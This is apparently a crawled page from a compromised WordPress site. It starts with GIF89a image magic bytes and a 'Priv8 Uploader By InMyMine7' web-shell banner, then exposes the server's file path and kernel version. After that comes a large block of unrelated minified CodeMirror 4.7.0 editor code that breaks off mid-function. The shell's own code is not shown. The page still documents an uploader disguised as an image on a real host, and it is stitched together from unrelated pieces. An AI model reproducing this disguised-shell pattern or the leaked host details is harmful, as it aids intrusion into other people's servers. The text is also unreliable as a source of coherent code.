GIF89a;
Notice: Undefined index: in /home/bs3263/domains/poolq.ee/public_html/wp-content/plugins/classic-editor/classic-editor.php on line 3
Priv8 Uploader By InMyMine7
Linux bs3.beeserver.ee 2.6.32-642.6.2.el6.x86_64 #1 SMP Wed Oct 26 06:52:09 UTC 2016 x86_64
// CodeMirror version 4.7.0
(function(n){if("object"==typeof exports&&"object"==typeof module)module.exports=n();else{if("function"==typeof define&&define.amd)return define([],n);this.CodeMirror=n()}})(function(){function n(a,b){if(!(this instanceof n))return new n(a,b);this.options=b=b?Ja(b):{};Ja(af,b,!1);mc(b);var c=b.value;"string"==typeof c&&(c=new O(c,b.mode));this.doc=c;var d=this.display=new bf(a,c);d.wrapper.CodeMirror=this;rd(this);sd(this);b.lineWrapping&&(this.display.wrapper.className+=" CodeMirror-wrap");b.autofocus&&
!nc&&P(this);this.state={keyMaps:[],overlays:[],modeGen:0,overwrite:!1,focused:!1,suppressEdits:!1,pasteIncoming:!1,cutIncoming:!1,draggingText:!1,highlight:new oc};z&&11>C&&setTimeout(Y(Z,this,!0),20);cf(this);td||(df(),td=!0);sa(this);this.curOp.forceUpdate=!0;ud(this,c);b.autofocus&&!nc||ka()==d.input?setTimeout(Y(pc,this),20):Ab(this);for(var e in Ka)if(Ka.hasOwnProperty(e))Ka[e](this,b[e],vd);wd(this);for(c=0;c<qc.length;++c)qc[c](this);ta(this)}function bf(a,b){var c=this.input=t("textarea",
null,null,"position: absolute; padding: 0; width: 1px; height: 1em; outline: none");I?c.style.width="1000px":c.setAttribute("wrap","off");Va&&(c.style.border="1px solid black");c.setAttribute("autocorrect","off");c.setAttribute("autocapitalize","off");c.setAttribute("spellcheck","false");this.inputDiv=t("div",[c],null,"overflow: hidden; position: relative; width: 3px; height: 0px;");this.scrollbarH=t("div",[t("div",null,null,"height: 100%; min-height: 1px")],"CodeMirror-hscrollbar");this.scrollbarV=
t("div",[t("div",null,null,"min-width: 1px")],"CodeMirror-vscrollbar");this.scrollbarFiller=t("div",null,"CodeMirror-scrollbar-filler");this.gutterFiller=t("div",null,"CodeMirror-gutter-filler");this.lineDiv=t("div",null,"CodeMirror-code");this.selectionDiv=t("div",null,null,"position: relative; z-index: 1");this.cursorDiv=t("div",null,"CodeMirror-cursors");this.measure=t("div",null,"CodeMirror-measure");this.lineMeasure=t("div",null,"CodeMirror-measure");this.lineSpace=t("div",[this.measure,this.lineMeasure,
this.selectionDiv,this.cursorDiv,this.lineDiv],null,"position: relative; outline: none");this.mover=t("div",[t("div",[this.lineSpace],"CodeMirror-lines")],null,"position: relative");this.sizer=t("div",[this.mover],"CodeMirror-sizer");this.heightForcer=t("div",null,null,"position: absolute; height: "+R+"px; width: 1px;");this.gutters=t("div",null,"CodeMirror-gutters");this.lineGutter=null;this.scroller=t("div",[this.sizer,this.heightForcer,this.gutters],"CodeMirror-scroll");this.scroller.setAttribute("tabIndex",
"-1");this.wrapper=t("div",[this.inputDiv,this.scrollbarH,this.scrollbarV,this.scrollbarFiller,this.gutterFiller,this.scroller],"CodeMirror");z&&8>C&&(this.gutters.style.zIndex=-1,this.scroller.style.paddingRight=0);Va&&(c.style.width="0px");I||(this.scroller.draggable=!0);rc&&(this.inputDiv.style.height="1px",this.inputDiv.style.position="absolute");z&&8>C&&(this.scrollbarH.style.minHeight=this.scrollbarV.style.minWidth="18px");a.appendChild?a.appendChild(this.wrapper):a(this.wrapper);this.viewFrom=
this.viewTo=b.first;this.view=[];this.externalMeasured=null;this.lastSizeC=this.viewOffset=0;this.lineNumWidth=this.lineNumInnerWidth=this.lineNumChars=this.updateLineNumbers=null;this.prevInput="";this.pollingFast=this.alignWidgets=!1;this.poll=new oc;this.cachedCharWidth=this.cachedTextHeight=this.cachedPaddingH=null;this.inaccurateSelection=!1;this.maxLine=null;this.maxLineLength=0;this.maxLineChanged=!1;this.wheelDX=this.wheelDY=this.wheelStartX=this.wheelStartY=null;this.shift=!1;this.selForContextMenu=
null}function sc(a){a.doc.mode=n.getMode(a.options,a.doc.modeOption);Wa(a)}function Wa(a){a.doc.iter(function(a){a.stateAfter&&(a.stateAfter=null);a.styles&&(a.styles=null)});a.doc.frontier=a.doc.first;Xa(a,100);a.state.modeGen++;a.curOp&&Q(a)}function xd(a){var b=ua(a.display),c=a.options.lineWrapping,d=c&&Math.max(5,a.display.scroller.clientWidth/Ya(a.display)-3);return function(e){if(va(a.doc,e))return 0;var f=0;if(e.widgets)for(var g=0;g<e.widgets.length;g++)e.widgets[g].height&&(f+=e.widgets[g].height);
return c?f+(Math.ceil(e.text.length/d)||1)*b:f+b}}function tc(a){var b=a.doc,c=xd(a);b.iter(function(a){var b=c(a);b!=a.height&&$(a,b)})}function yd(a){var b=fa[a.options.keyMap].style;a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-keymap-\S+/g,"")+(b?" cm-keymap-"+b:"")}function sd(a){a.display.wrapper.className=a.display.wrapper.className.replace(/\s*cm-s-\S+/g,"")+a.options.theme.replace(/(^|\s)\s*/g," cm-s-");Za(a)}function $a(a){rd(a);Q(a);setTimeout(function(){uc(a)},
20)}function rd(a){var b=a.display.gutters,c=a.options.gutters;wa(b);for(var d=0;d<c.length;++d){var e=c[d],f=b.appendChild(t("div",null,"CodeMirror-gutter "+e));"CodeMirror-linenumbers"==e&&(a.display.lineGutter=f,f.style.width=(a.display.lineNumWidth||1)+"px")}b.style.display=d?"":"none";vc(a)}function vc(a){var b=a.display.gutters.offsetWidth;a.display.sizer.style.marginLeft=b+"px";a.display.scrollbarH.style.left=a.options.fixedGutter?b+"px":0}function Bb(a){if(0==a.height)return 0;for(var b=a.text.length,
c,d=a;c=xa(d,!0);)c=c.find(0,!0),d=c.from.line,b+=c.from.ch-c.to.ch;for(d=a;c=xa(d,!1);)c=c.find(0,!0),b-=d.text.length-c.from.ch,d=c.to.line,b+=d.text.length-c.to.ch;return b}function wc(a){var b=a.display;a=a.doc;b.maxLine=s(a,a.first);b.maxLineLength=Bb(b.maxLine);b.maxLineChanged=!0;a.iter(function(a){var d=Bb(a);d>b.maxLineLength&&(b.maxLineLength=d,b.maxLine=a)})}function mc(a){var b=J(a.gutters,"CodeMirror-linenumbers");-1==b&&a.lineNumbers?a.gutters=a.gutters.concat(["CodeMirror-linenumbers"]):
-1<b&&!a.lineNumbers&&(a.gutters=a.gutters.slice(0),a.gutters.splice(b,1))}function Cb(a){var b=a.display.scroller;return{clientHeight:b.clientHeight,barHeight:a.display.scrollbarV.clientHeight,scrollWidth:b.scrollWidth,clientWidth:b.clientWidth,hScrollbarTakesSpace:a.display.scroller.clientHeight-a.display.wrapper.clientHeight<R-3,barWidth:a.display.scrollbarH.clientWidth,docHeight:Math.round(a.doc.height+xc(a.display))}}function ya(a,b){b||(b=Cb(a));var c=a.display,d=ef(c.measure),e=b.docHeight+
R,f=b.scrollWidth>b.clientWidth;f&&b.scrollWidth<=b.clientWidth+1&&0<d&&!b.hScrollbarTakesSpace&&(f=!1);var g=e>b.clientHeight;g?(c.scrollbarV.style.display="block",c.scrollbarV.style.bottom=f?d+"px":"0",c.scrollbarV.firstChild.style.height=Math.max(0,e-b.clientHeight+(b.barHeight||c.scrollbarV.clientHeight))+"px"):(c.scrollbarV.style.display="",c.scrollbarV.firstChild.style.height="0");f?(c.scrollbarH.style.display="block",c.scrollbarH.style.right=g?d+"px":"0",c.scrollbarH.firstChild.style.width=
b.scrollWidth-b.clientWidth+(b.barWidth||c.scrollbarH.clientWidth)+"px"):(c.scrollbarH.style.display="",c.scrollbarH.firstChild.style.width="0");f&&g?(c.scrollbarFiller.style.display="block",c.scrollbarFiller.style.height=c.scrollbarFiller.style.width=d+"px"):c.scrollbarFiller.style.display="";f&&a.options.coverGutterNextToScrollbar&&a.options.fixedGutter?(c.gutterFiller.style.display="block",c.gutterFiller.style.height=d+"px",c.gutterFiller.style.width=c.gutters.offsetWidth+"px"):c.gutterFiller.style.display=
"";!a.state.checkedOverlayScrollbar&&0<b.clientHeight&&(0===d&&(c.scrollbarV.style.minWidth=c.scrollbarH.style.minHeight=S&&!ff?"12px":"18px",d=function(b){(b.target||b.srcElement)!=c.scrollbarV&&(b.target||b.srcElement)!=c.scrollbarH&&B(a,zd)(b)},w(c.scrollbarV,"mousedown",d),w(c.scrollbarH,"mousedown",d)),a.state.checkedOverlayScrollbar=!0)}function yc(a,b,c){var d=c&&null!=c.top?Math.max(0,c.top):a.scroller.scrollTop,d=Math.floor(d-a.lineSpace.offsetTop),e=c&&null!=c.bottom?c.bottom:d+a.wrapper.clientHeight,
d=za(b,d),e=za(b,e);if(c&&c.ensure){var f=c.ensure.from.line;c=c.ensure.to.line;if(f<d)return{from:f,to:za(b,aa(s(b,f))+a.wrapper.clientHeight)};if(Math.min(c,b.lastLine())>=e)return{from:za(b,aa(s(b,c))-a.wrapper.clientHeight),to:c}}return{from:d,to:Math.max(e,d+1)}}function uc(a){var b=a.display,c=b.view;if(b.alignWidgets||b.gutters.firstChild&&a.options.fixedGutter){for(var d=zc(b)-b.scroller.scrollLeft+a.doc.scrollLeft,e=b.gutters.offsetWidth,f=d+"px",g=0;g<c.length;g++)if(!c[g].hidden){a.options.fixedGutter&&
c[g].gutter&&(c[g].gutter.style.left=f);var h=c[g].alignable;if(h)for(var k=0;k<h.length;k++)h[k].style.left=f}a.options.fixedGutter&&(b.gutters.style.left=d+e+"px")}}function wd(a){if(!a.options.lineNumbers)return!1;var b=a.doc,b=Ac(a.options,b.first+b.size-1),c=a.display;if(b.length!=c.lineNumChars){var d=c.measure.appendChild(t("div",[t("div",b)],"CodeMirror-linenumber CodeMirror-gutter-elt")),e=d.firstChild.offsetWidth,d=d.offsetWidth-e;c.lineGutter.style.width="";c.lineNumInnerWidth=Math.max(e,
c.lineGutter.offsetWidth-d);c.lineNumWidth=c.lineNumInnerWidth+d;c.lineNumChars=c.lineNumInnerWidth?b.length:-1;c.lineGutter.style.width=c.lineNumWidth+"px";vc(a);return!0}return!1}function Ac(a,b){return String(a.lineNumberFormatter(b+a.firstLineNumber))}function zc(a){return a.scroller.getBoundingClientRect().left-a.sizer.getBoundingClientRect().left}function Ad(a,b,c){var d=a.display;this.viewport=b;this.visible=yc(d,a.doc,b);this.editorIsHidden=!d.wrapper.offsetWidth;this.wrapperHeight=d.wrapper.clientHeight;
this.oldViewFrom=d.viewFrom;this.oldViewTo=d.viewTo;this.oldScrollerWidth=d.scroller.clientWidth;this.force=c;this.dims=Bc(a)}function Cc(a,b){var c=a.display,d=a.doc;if(b.editorIsHidden)return la(a),!1;if(!b.force&&b.visible.from>=c.viewFrom&&b.visible.to<=c.viewTo&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo)&&0==Bd(a))return!1;wd(a)&&(la(a),b.dims=Bc(a));var e=d.first+d.size,f=Math.max(b.visible.from-a.options.viewportMargin,d.first),g=Math.min(e,b.visible.to+a.options.viewportMargin);
c.viewFrom<f&&20>f-c.viewFrom&&(f=Math.max(d.first,c.viewFrom));c.viewTo>g&&20>c.viewTo-g&&(g=Math.min(e,c.viewTo));ma&&(f=Dc(a.doc,f),g=Cd(a.doc,g));d=f!=c.viewFrom||g!=c.viewTo||c.lastSizeC!=b.wrapperHeight;e=a.display;0==e.view.length||f>=e.viewTo||g<=e.viewFrom?(e.view=Db(a,f,g),e.viewFrom=f):(e.viewFrom>f?e.view=Db(a,f,e.viewFrom).concat(e.view):e.viewFrom<f&&(e.view=e.view.slice(ab(a,f))),e.viewFrom=f,e.viewTo<g?e.view=e.view.concat(Db(a,e.viewTo,g)):e.viewTo>g&&(e.view=e.view.slice(0,ab(a,
g))));e.viewTo=g;c.viewOffset=aa(s(a.doc,c.viewFrom));a.display.mover.style.top=c.viewOffset+"px";g=Bd(a);if(!d&&0==g&&!b.force&&(null==c.updateLineNumbers||c.updateLineNumbers>=c.viewTo))return!1;f=ka();4<g&&(c.lineDiv.style.display="none");gf(a,c.updateLineNumbers,b.dims);4<g&&(c.lineDiv.style.display="");f&&ka()!=f&&f.offsetHeight&&f.focus();wa(c.cursorDiv);wa(c.selectionDiv);d&&(c.lastSizeC=b.wrapperHeight,Xa(a,400));c.updateLineNumbers=null;return!0}function Dd(a,b){for(var c=b.viewport,d=!0;;d=
!1){if(!d||!a.options.lineWrapping||b.oldScrollerWidth==a.display.scroller.clientWidth)if(c&&null!=c.top&&(c={top:Math.min(a.doc.height+xc(a.display)-R-a.display.scroller.clientHeight,c.top)}),b.visible=yc(a.display,a.doc,c),b.visible.from>=a.display.viewFrom&&b.visible.to<=a.display.viewTo)break;if(!Cc(a,b))break;Ec(a);d=Cb(a);bb(a);Fc(a,d);ya(a,d)}E(a,"update",a);a.display.viewFrom==b.oldViewFrom&&a.display.viewTo==b.oldViewTo||E(a,"viewportChange",a,a.display.viewFrom,a.display.viewTo)}function Gc(a,
b){var c=new Ad(a,b);Cc(a,c)&&(Ec(a),Dd(a,c),c=Cb(a),bb(a),Fc(a,c),ya(a,c))}function Fc(a,b){a.display.sizer.style.minHeight=a.display.heightForcer.style.top=b.docHeight+"px";a.display.gutters.style.height=Math.max(b.docHeight,b.clientHeight-R)+"px"}function Ec(a){a=a.display;for(var b=a.lineDiv.offsetTop,c=0;c<a.view.length;c++){var d=a.view[c],e;if(!d.hidden){if(z&&8>C){var f=d.node.offsetTop+d.node.offsetHeight;e=f-b;b=f}else e=d.node.getBoundingClientRect(),e=e.bottom-e.top;f=d.line.height-e;
2>e&&(e=ua(a));if(.001<f||-.001>f)if($(d.line,e),Ed(d.line),d.rest)for(e=0;e<d.rest.length;e++)Ed(d.rest[e])}}}function Ed(a){if(a.widgets)for(var b=0;b<a.widgets.length;++b)a.widgets[b].height=a.widgets[b].node.offsetHeight}function Bc(a){for(var b=a.display,c={},d={},e=b.gutters.clientLeft,f=b.gutters.firstChild,g=0;f;f=f.nextSibling,++g)c[a.options.gutters[g]]=f.offsetLeft+f.clientLeft+e,d[a.options.gutters[g]]=f.clientWidth;return{fixedPos:zc(b),gutterTotalWidth:b.gutters.offsetWidth,gutterLeft:c,
gutterWidth:d,wrapperWidth:b.wrapper.clientWidth}}function gf(a,b,c){function d(b){var c=b.nextSibling;I&&S&&a.display.currentWheelTarget==b?b.style.display="none":b.parentNode.removeChild(b);return c}for(var e=a.display,f=a.options.lineNumbers,g=e.lineDiv,h=g.firstChild,k=e.view,e=e.viewFrom,l=0;l<k.length;l++){var m=k[l];if(!m.hidden)if(m.node){for(;h!=m.node;)h=d(h);h=f&&null!=b&&b<=e&&m.lineNumber;m.changes&&(-1<J(m.changes,"gutter")&&(h=!1),Fd(a,m,e,c));h&&(wa(m.lineNumber),m.lineNumber.appendChild(document.createTextNode(Ac(a.options,
e))));h=m.node.nextSibling}else{var r=hf(a,m,e,c);g.insertBefore(r,h)}e+=m.size}for(;h;)h=d(h)}function Fd(a,b,c,d){for(var e=0;e<b.changes.length;e++){var f=b.changes[e];if("text"==f){var f=b,g=f.text.className,h=Gd(a,f);f.text==f.node&&(f.node=h.pre);f.text.parentNode.replaceChild(h.pre,f.text);f.text=h.pre;h.bgClass!=f.bgClass||h.textClass!=f.textClass?(f.bgClass=h.bgClass,f.textClass=h.textClass,Hc(f)):g&&(f.text.className=g)}else if("gutter"==f)Hd(a,b,c,d);else if("class"==f)Hc(b);else if("widget"==
f){f=b;g=d;f.alignable&&(f.alignable=null);for(var h=f.node.firstChild,k=void 0;h;h=k)k=h.nextSibling,"CodeMirror-linewidget"==h.className&&f.node.removeChild(h);Id(f,g)}}b.changes=null}function Eb(a){a.node==a.text&&(a.node=t("div",null,null,"position: relative"),a.text.parentNode&&a.text.parentNode.replaceChild(a.node,a.text),a.node.appendChild(a.text),z&&8>C&&(a.node.style.zIndex=2));return a.node}function Gd(a,b){var c=a.display.externalMeasured;return c&&c.line==b.line?(a.display.externalMeasured=
null,b.measure=c.measure,c.built):Jd(a,b)}function Hc(a){var b=a.bgClass?a.bgClass+" "+(a.line.bgClass||""):a.line.bgClass;b&&(b+=" CodeMirror-linebackground");if(a.background)b?a.background.className=b:(a.background.parentNode.removeChild(a.background),a.background=null);else if(b){var c=Eb(a);a.background=c.insertBefore(t("div",null,b),c.firstChild)}a.line.wrapClass?Eb(a).className=a.line.wrapClass:a.node!=a.text&&(a.node.className="");a.text.className=(a.textClass?a.textClass+" "+(a.line.textClass||
""):a.line.textClass)||""}function Hd(a,b,c,d){b.gutter&&(b.node.removeChild(b.gutter),b.gutter=null);var e=b.line.gutterMarkers;if(a.options.lineNumbers||e){var f=Eb(b),f=b.gutter=f.insertBefore(t("div",null,"CodeMirror-gutter-wrapper","position: absolute; left: "+(a.options.fixedGutter?d.fixedPos:-d.gutterTotalWidth)+"px"),b.text);!a.options.lineNumbers||e&&e["CodeMirror-linenumbers"]||(b.lineNumber=f.appendChild(t("div",Ac(a.options,c),"CodeMirror-linenumber CodeMirror-gutter-elt","left: "+d.gutterLeft["CodeMirror-linenumbers"]+
"px; width: "+a.display.lineNumInnerWidth+"px")));if(e)for(b=0;b<a.options.gutters.length;++b){c=a.options.gutters[b];var g=e.hasOwnProperty(c)&&e[c];g&&f.appendChild(t("div",[g],"CodeMirror-gutter-elt","left: "+d.gutterLeft[c]+"px; width: "+d.gutterWidth[c]+"px"))}}}function hf(a,b,c,d){var e=Gd(a,b);b.text=b.node=e.pre;e.bgClass&&(b.bgClass=e.bgClass);e.textClass&&(b.textClass=e.textClass);Hc(b);Hd(a,b,c,d);Id(b,d);return b.node}function Id(a,b){Kd(a.line,a,b,!0);if(a.rest)for(var c=0;c<a.rest.length;c++)Kd(a.rest[c],
a,b,!1)}function Kd(a,b,c,d){if(a.widgets){var e=Eb(b),f=0;for(a=a.widgets;f<a.length;++f){var g=a[f],h=t("div",[g.node],"CodeMirror-linewidget");g.handleMouseEvents||(h.ignoreEvents=!0);var k=g,l=h,m=c;if(k.noHScroll){(b.alignable||(b.alignable=[])).push(l);var r=m.wrapperWidth;l.style.left=m.fixedPos+"px";k.coverGutter||(r-=m.gutterTotalWidth,l.style.paddingLeft=m.gutterTotalWidth+"px");l.style.width=r+"px"}k.coverGutter&&(l.style.zIndex=5,l.style.position="relative",k.noHScroll||(l.style.marginLeft=
-m.gutterTotalWidth+"px"));d&&g.above?e.insertBefore(h,b.gutter||b.text):e.appendChild(h);E(g,"redraw")}}}function Ic(a){return q(a.line,a.ch)}function Jc(a,b){return 0>x(a,b)?b:a}function Kc(a,b){return 0>x(a,b)?a:b}function ga(a,b){this.ranges=a;this.primIndex=b}function y(a,b){this.anchor=a;this.head=b}function ba(a,b){var c=a[b];a.sort(function(a,b){return x(a.from(),b.from())});b=J(a,c);for(c=1;c<a.length;c++){var d=a[c],e=a[c-1];if(0<=x(e.to(),d.from())){var f=Kc(e.from(),d.from()),g=Jc(e.to(),
d.to()),d=e.empty()?d.from()==d.head:e.from()==e.head;c<=b&&--b;a.splice(--c,2,new y(d?g:f,d?f:g))}}return new ga(a,b)}function na(a,b){return new ga([new y(a,b||a)],0)}function u(a,b){if(b.line<a.first)return q(a.first,0);var c=a.first+a.size-1;if(b.line>c)return q(c,s(a,c).text.length);var c=s(a,b.line).text.length,d=b.ch,c=null==d||d>c?q(b.line,c):0>d?q(b.line,0):b;return c}function cb(a,b){return b>=a.first&&b<a.first+a.size}function db(a,b,c,d){return a.cm&&a.cm.display.shift||a.extend?(a=b.anchor,
d&&(b=0>x(c,a),b!=0>x(d,a)?(a=c,c=d):b!=0>x(c,d)&&(c=d)),new y(a,c)):new y(d||c,c)}function Fb(a,b,c,d){L(a,new ga([db(a,a.sel.primary(),b,c)],0),d)}function Ld(a,b,c){for(var d=[],e=0;e<a.sel.ranges.length;e++)d[e]=db(a,a.sel.ranges[e],b[e],null);b=ba(d,a.sel.primIndex);L(a,b,c)}function Lc(a,b,c,d){var e=a.sel.ranges.slice(0);e[b]=c;L(a,ba(e,a.sel.primIndex),d)}function jf(a,b){var c={ranges:b.ranges,update:function(b){this.ranges=[];for(var c=0;c<b.length;c++)this.ranges[c]=new y(u(a,b[c].anchor),
u(a,b[c].head))}};H(a,"beforeSelectionChange",a,c);a.cm&&H(a.cm,"beforeSelectionChange",a.cm,c);return c.ranges!=b.ranges?ba(c.ranges,c.ranges.length-1):b}function Md(a,b,c){var d=a.history.done,e=A(d);e&&e.ranges?(d[d.length-1]=b,Gb(a,b,c)):L(a,b,c)}function L(a,b,c){Gb(a,b,c);b=a.sel;var d=a.cm?a.cm.curOp.id:NaN,e=a.history,f=c&&c.origin,g;if(!(g=d==e.lastSelOp)&&(g=f&&e.lastSelOrigin==f)&&!(g=e.lastModTime==e.lastSelTime&&e.lastOrigin==f)){g=A(e.done);var h=f.charAt(0);g="*"==h||"+"==h&&g.ranges.length==
b.ranges.length&&g.somethingSelected()==b.somethingSelected()&&new Date-a.history.lastSelTime<=(a.cm?a.cm.options.historyEventDelay:500)}g?e.done[e.done.length-1]=b:Hb(b,e.done);e.lastSelTime=+new Date;e.lastSelOrigin=f;e.lastSelOp=d;c&&!1!==c.clearRedo&&Nd(e.undone)}function Gb(a,b,c){if(T(a,"beforeSelectionChange")||a.cm&&T(a.cm,"beforeSelectionChange"))b=jf(a,b);var d=c&&c.bias||(0>x(b.primary().head,a.sel.primary().head)?-1:1);Od(a,Pd(a,b,d,!0));c&&!1===c.scroll||!a.cm||La(a.cm)}function Od(a,
b){b.equals(a.sel)||(a.sel=b,a.cm&&(a.cm.curOp.updateInput=a.cm.curOp.selectionChanged=!0,Qd(a.cm)),E(a,"cursorActivity",a))}function Rd(a){Od(a,Pd(a,a.sel,null,!1),oa)}function Pd(a,b,c,d){for(var e,f=0;f<b.ranges.length;f++){var g=b.ranges[f],h=Ib(a,g.anchor,c,d),k=Ib(a,g.head,c,d);if(e||h!=g.anchor||k!=g.head)e||(e=b.ranges.slice(0,f)),e[f]=new y(h,k)}return e?ba(e,b.primIndex):b}function Ib(a,b,c,d){var e=!1,f=b,g=c||1;a.cantEdit=!1;a:for(;;){var h=s(a,f.line);if(h.markedSpans)for(var k=0;k<h.markedSpans.length;++k){var l=
h.markedSpans[k],m=l.marker;if((null==l.from||(m.inclusiveLeft?l.from<=f.ch:l.from<f.ch))&&(null==l.to||(m.inclusiveRight?l.to>=f.ch:l.to>f.ch))){if(d&&(H(m,"beforeCursorEnter"),m.explicitlyCleared))if(h.markedSpans){--k;continue}else break;if(m.atomic){k=m.find(0>g?-1:1);if(0==x(k,f)&&(k.ch+=g,0>k.ch?k=k.line>a.first?u(a,q(k.line-1)):null:k.ch>h.text.length&&(k=k.line<a.first+a.size-1?q(k.line+1,0):null),!k)){if(e){if(!d)return Ib(a,b,c,!0);a.cantEdit=!0;return q(a.first,0)}e=!0;k=b;g=-g}f=k;continue a}}}return f}}
function Sd(a){for(var b=a.display,c=a.doc,d={},e=d.cursors=document.createDocumentFragment(),f=d.selection=document.createDocumentFragment(),g=0;g<c.sel.ranges.length;g++){var h=c.sel.ranges[g],k=h.empty();if(k||a.options.showCursorWhenSelecting){var l=a,m=e,r=ha(l,h.head,"div",null,null,!l.options.singleCursorHeightPerLine),p=m.appendChild(t("div","\u00a0","CodeMirror-cursor"));p.style.left=r.left+"px";p.style.top=r.top+"px";p.style.height=Math.max(0,r.bottom-r.top)*l.options.cursorHeight+"px";
r.other&&(l=m.appendChild(t("div","\u00a0","CodeMirror-cursor CodeMirror-secondarycursor")),l.style.display="",l.style.left=r.other.left+"px",l.style.top=r.other.top+"px",l.style.height=.85*(r.other.bottom-r.other.top)+"px")}k||kf(a,h,f)}a.options.moveInputWithCursor&&(a=ha(a,c.sel.primary().head,"div"),c=b.wrapper.getBoundingClientRect(),e=b.lineDiv.getBoundingClientRect(),d.teTop=Math.max(0,Math.min(b.wrapper.clientHeight-10,a.top+e.top-c.top)),d.teLeft=Math.max(0,Math.min(b.wrapper.clientWidth-
10,a.left+e.left-c.left)));return d}function Td(a,b){U(a.display.cursorDiv,b.cursors);U(a.display.selectionDiv,b.selection);null!=b.teTop&&(a.display.inputDiv.style.top=b.teTop+"px",a.display.inputDiv.style.left=b.teLeft+"px")}function bb(a){Td(a,Sd(a))}function kf(a,b,c){function d(a,b,c,d){0>b&&(b=0);b=Math.round(b);d=Math.round(d);h.appendChild(t("div",null,"CodeMirror-selected","position: absolute; left: "+a+"px; top: "+b+"px; width: "+(null==c?m-a:c)+"px; height: "+(d-b)+"px"))}function e(b,
c,e){var f=s(g,b),h=f.text.length,k,r;lf(ca(f),c||0,null==e?h:e,function(g,n,t){var s=Jb(a,q(b,g),"div",f,"left"),u,v;g==n?(u=s,t=v=s.left):(u=Jb(a,q(b,n-1),"div",f,"right"),"rtl"==t&&(t=s,s=u,u=t),t=s.left,v=u.right);null==c&&0==g&&(t=l);3<u.top-s.top&&(d(t,s.top,null,s.bottom),t=l,s.bottom<u.top&&d(t,s.bottom,null,u.top));null==e&&n==h&&(v=m);if(!k||s.top<k.top||s.top==k.top&&s.left<k.left)k=s;if(!r||u.bottom>r.bottom||u.bottom==r.bottom&&u.right>r.right)r=u;t<l+1&&(t=l);d(t,u.top,v-t,u.bottom)});
return{start:k,end:r}}var f=a.display,g=a.doc,h=document.createDocumentFragment(),k=Ud(a.display),l=k.left,m=f.lineSpace.offsetWidth-k.right,f=b.from();b=b.to();if(f.line==b.line)e(f.line,f.ch,b.ch);else{var r=s(g,f.line),k=s(g,b.line),k=da(r)==da(k),f=e(f.line,f.ch,k?r.text.length+1:null).end;b=e(b.line,k?0:null,b.ch).start;k&&(f.top<b.top-2?(d(f.right,f.top,null,f.bottom),d(l,b.top,b.left,b.bottom)):d(f.right,f.top,b.left-f.right,f.bottom));f.bottom<b.top&&d(l,f.bottom,null,b.top)}c.appendChild(h)}
function Kb(a){if(a.state.focused){var b=a.display;clearInterval(b.blinker);var c=!0;b.cursorDiv.style.visibility="";0<a.options.cursorBlinkRate?b.blinker=setInterval(function(){b.cursorDiv.style.visibility=(c=!c)?"":"hidden"},a.options.cursorBlinkRate):0>a.options.cursorBlinkRate&&(b.cursorDiv.style.visibility="hidden")}}function Xa(a,b){a.doc.mode.startState&&a.doc.frontier<a.display.viewTo&&a.state.highlight.set(b,Y(mf,a))}function mf(a){var b=a.doc;b.frontier<b.first&&(b.frontier=b.first);if(!(b.frontier>=
a.display.viewTo)){var c=+new Date+a.options.workTime,d=eb(b.mode,fb(a,b.frontier)),e=[];b.iter(b.frontier,Math.min(b.first+b.size,a.display.viewTo+500),function(f){if(b.frontier>=a.display.viewFrom){var g=f.styles,h=Vd(a,f,d,!0);f.styles=h.styles;var k=f.styleClasses;(h=h.classes)?f.styleClasses=h:k&&(f.styleClasses=null);k=!g||g.length!=f.styles.length||k!=h&&(!k||!h||k.bgClass!=h.bgClass||k.textClass!=h.textClass);for(h=0;!k&&h<g.length;++h)k=g[h]!=f.styles[h];k&&e.push(b.frontier);f.stateAfter=
eb(b.mode,d)}else Mc(a,f.text,d),f.stateAfter=0==b.frontier%5?eb(b.mode,d):null;++b.frontier;if(+new Date>c)return Xa(a,a.options.workDelay),!0});e.length&&pa(a,function(){for(var b=0;b<e.length;b++)ia(a,e[b],"text")})}}function nf(a,b,c){for(var d,e,f=a.doc,g=c?-1:b-(a.doc.mode.innerMode?1E3:100);b>g;--b){if(b<=f.first)return f.first;var h=s(f,b-1);if(h.stateAfter&&(!c||b<=f.frontier))return b;h=V(h.text,null,a.options.tabSize);if(null==e||d>h)e=b-1,d=h}return e}function fb(a,b,c){var d=a.doc,e=
a.display;if(!d.mode.startState)return!0;var f=nf(a,b,c),g=f>d.first&&s(d,f-1).stateAfter,g=g?eb(d.mode,g):of(d.mode);d.iter(f,b,function(c){Mc(a,c.text,g);c.stateAfter=f==b-1||0==f%5||f>=e.viewFrom&&f<e.viewTo?eb(d.mode,g):null;++f});c&&(d.frontier=f);return g}function xc(a){return a.mover.offsetHeight-a.lineSpace.offsetHeight}function Ud(a){if(a.cachedPaddingH)return a.cachedPaddingH;var b=U(a.measure,t("pre","x")),b=window.getComputedStyle?window.getComputedStyle(b):b.currentStyle,b={left:parseInt(b.paddingLeft),
right:parseInt(b.paddingRight)};isNaN(b.left)||isNaN(b.right)||(a.cachedPaddingH=b);return b}function Wd(a,b){if(b>=a.display.viewFrom&&b<a.display.viewTo)return a.display.view[ab(a,b)];var c=a.display.externalMeasured;if(c&&b>=c.lineN&&b<c.lineN+c.size)return c}function Lb(a,b){var c=D(b),d=Wd(a,c);d&&!d.text?d=null:d&&d.changes&&Fd(a,d,c,Bc(a));if(!d){var e;e=da(b);d=D(e);e=a.display.externalMeasured=new Xd(a.doc,e,d);e.lineN=d;d=e.built=Jd(a,e);e.text=d.pre;U(a.display.lineMeasure,d.pre);d=e}a:if(e=
d,e.line==b)c={map:e.measure.map,cache:e.measure.cache};else{for(var f=0;f<e.rest.length;f++)if(e.rest[f]==b){c={map:e.measure.maps[f],cache:e.measure.caches[f]};break a}for(f=0;f<e.rest.length;f++)if(D(e.rest[f])>c){c={map:e.measure.maps[f],cache:e.measure.caches[f],before:!0};break a}c=void 0}return{line:b,view:d,rect:null,map:c.map,cache:c.cache,before:c.before,hasHeights:!1}}function Nc(a,b,c,d,e){b.before&&(c=-1);var f=c+(d||"");if(b.cache.hasOwnProperty(f))a=b.cache[f];else{b.rect||(b.rect=
